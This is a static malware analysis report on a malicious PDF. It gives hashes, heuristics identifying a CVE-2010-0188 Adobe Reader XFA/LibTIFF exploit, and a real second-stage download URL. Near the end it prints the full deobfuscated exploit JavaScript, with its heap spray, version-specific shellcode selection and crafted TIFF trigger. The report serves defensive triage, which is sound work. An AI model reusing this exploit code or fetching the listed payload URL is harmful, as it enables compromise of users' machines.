Malicious PDF — malware analysis report

Static analysis result for SHA-256 9e61cb7c75b93b41…

MALICIOUS

PDF

13.1 KB First seen: 2026-05-08
MD5: 2eca1e479f66f287bb1de9ac6f5e17e7 SHA-1: 098d3e7e32fee22a333d87da7f1e68aacdfe955d SHA-256: 9e61cb7c75b93b4197742a4dd245c72ad1ef3fad827fba605d22adb8e4e169c4
238 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical ClamAV detection and high ML classifier score strongly indicate malicious intent. The PDF contains embedded files and an XFA form, which are common vectors for exploiting PDF vulnerabilities. The embedded URL is likely part of the exploit chain.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • ClamAV: Pdf.Exploit.Agent-36962 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36962
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://img.applewaterdrinks.com/links/demands-lower.php?rvbkq=0a3338090b&utsx=330a3405353335063735&uafvddac=03&znso=uzhafgol&jawwku=rppzovmh Referenced by PDF JavaScript
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/Referenced by PDF JavaScript
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin pdf-embedded-file PDF EmbeddedFile object 41 at offset 0x26DE 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0042.bin pdf-embedded-file PDF EmbeddedFile object 42 at offset 0x2790 1029 bytes
SHA-256: dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
embedded_file_obj0043.bin pdf-embedded-file PDF EmbeddedFile object 43 at offset 0x29A9 1789 bytes
SHA-256: 9c58a0994eee827abd1bc8adae7b02a4c6236f9577fb5360a2838db447a23842
embedded_file_obj0044.bin pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x2DB9 144 bytes
SHA-256: 3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
embedded_file_obj0045.bin pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x2E65 77 bytes
SHA-256: 10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
xfa_metadata_stage_000.js deobfuscated-js XFA /title base-31 decoded JavaScript (raw) at offset 0xDE9 2181 bytes
SHA-256: 4a7e0403ed392ad3241ae2457e555b77a0db7ce2becd8a45852a009150f90bb7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
app.alert=event.target.creationDate.replace(/,/g,'');var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+event.target.creationDate.replace(/,/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+event.target.creationDate.replace(/,/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();

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